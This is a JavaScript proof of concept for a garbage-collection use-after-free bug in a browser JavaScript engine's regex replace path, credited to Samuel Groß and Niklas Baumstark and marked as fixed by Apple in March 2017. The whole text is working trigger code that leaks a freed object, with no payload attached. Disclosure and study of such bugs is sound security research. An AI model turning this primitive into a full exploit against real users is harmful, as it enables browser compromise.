- Fix: Mar 2017
- Credit: Apple
PoC from Samuel Groß, and Niklas Baumstark
function i_want_to_break_free() {
var n = 0x40000;
var m = 10;
var regex = new RegExp("(ab)".repeat(n), "g"); // g flag to trigger the vulnerable path
var part = "ab".repeat(n); // matches have to be at least size 2 to prevent interning
var s = (part + "|").repeat(m);
while (true) {
var cnt = 0;
var ary = [];
s.replace(regex, function() {
for (var i = 1; i < arguments.length-2; ++i) {
if (typeof arguments[i] !== 'string') {
i_am_free = arguments[i];
throw "success";
}
ary[cnt++] = arguments[i]; // root everything to force GC
}
return "x";
});
}
}
try { i_want_to_break_free(); } catch (e) { }
console.log(typeof(i_am_free)); // will print "object"